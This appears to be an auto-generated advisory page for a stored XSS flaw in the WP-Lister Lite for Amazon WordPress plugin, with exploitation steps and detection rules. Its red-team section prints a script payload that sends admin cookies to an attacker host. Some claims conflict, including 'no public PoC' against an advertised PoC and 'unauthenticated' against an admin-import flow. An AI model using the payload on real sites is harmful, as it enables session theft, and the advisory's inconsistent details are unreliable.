CVE-2024-2889
Executive Summary
CVE-2024-2889 is a stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP-Lister Lite for Amazon (versions <= 2.6.11). The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an unauthenticated attacker to inject arbitrary JavaScript into the admin dashboard. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is part of the WordPress ecosystem and affects the plugin's listing management interface. No public exploit code or proof-of-concept is available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to remove or replace the plugin until a patch is issued, as no official update exists.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (admin must visit a crafted page)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. Exploitation requires user interaction but can lead to admin-level compromise.
Deep Dive & Mechanics
The vulnerability exists in the wp-lister-for-amazon plugin's handling of product listing data. When an admin imports or edits Amazon product listings, the plugin fails to sanitize certain fields (e.g., product titles, descriptions, or custom attributes) before rendering them in the admin dashboard. An attacker can inject malicious HTML/JavaScript into these fields via the Amazon API or direct input, which then executes when an admin views the listings.
Root Cause: The plugin uses echo or _e() functions without proper escaping (e.g., esc_html() or wp_kses_post()) when outputting user-controlled data.
Attack Flow:
- Attacker creates a malicious Amazon product listing with XSS payload in a field like
titleordescription. - Admin imports the listing via the plugin's "Import from Amazon" feature.
- The plugin stores the payload in the database.
- When the admin views the listing in the WordPress admin panel, the payload executes in the context of the admin's session.
Vulnerable vs. Patched Code
Vulnerable Code (wp-lister-for-amazon <= 2.6.11):
// In admin/views/listings.php or similar
echo $listing->title; // No escaping
Patched Code (hypothetical):
// Proper escaping
echo esc_html( $listing->title );
Since no official patch exists, users must manually apply escaping or remove the plugin.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with WP-Lister Lite for Amazon <= 2.6.11 installed and activated.
- An attacker-controlled Amazon product listing (or ability to inject data via API).
Exploitation Steps:
- Create a malicious Amazon product listing with the following payload in the title field:
<script>alert('XSS')</script> - As an admin, import the listing via the plugin's "Import from Amazon" feature.
- Navigate to the "Listings" page in the WordPress admin.
- The payload executes, demonstrating XSS.
Advanced Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor for unusual Amazon API calls or imports from unknown sellers.
- Check for unexpected JavaScript execution in admin pages.
- Use the detection rules below.
Mitigation:
- Disable or remove the plugin immediately.
- Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
- Restrict admin access to trusted IPs.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin.
- File: Modified plugin files (e.g.,
wp-lister-for-amazon/admin/views/listings.php) containing unescaped output. - Database: Entries in
wp_amazon_listingstable with<script>tags intitleordescriptioncolumns. - Logs: WordPress debug logs showing unexpected JavaScript execution.
Detection Engineering
YARA Rule
rule CVE_2024_2889_WP_Lister_XSS {
meta:
description = "Detects unescaped output in WP-Lister Lite for Amazon plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-2889"
strings:
$unescaped_echo = /echo\s*\$[a-zA-Z_]+->(title|description|price|sku)/ nocase
$unescaped_print = /print\s*\$[a-zA-Z_]+->(title|description|price|sku)/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-2889 WP-Lister Lite XSS Detection
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS via unescaped output in WP-Lister Lite for Amazon
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "wp-lister-for-amazon"
- "admin-ajax.php"
sc-status: 200
condition: selection
falsepositives:
- Legitimate admin activity
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2889 WP-Lister Lite XSS Attempt"; flow:to_server,established; content:"wp-lister-for-amazon"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete
wp-lister-for-amazonfrom the WordPress admin. - Scan for compromise: Check for unauthorized admin accounts, suspicious files, and database entries with
<script>tags. - Apply WAF rules: Block requests containing
<script>in POST data to plugin endpoints.
Long-term Fix:
- Replace the plugin with an alternative that is actively maintained.
- If the plugin is critical, fork it and apply proper escaping (e.g.,
esc_html(),wp_kses_post()) to all output functions.
Vendor Contact:
- Attempt to contact WP Lab via their support channels. If unresponsive, report to WordPress Plugin Review Team.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.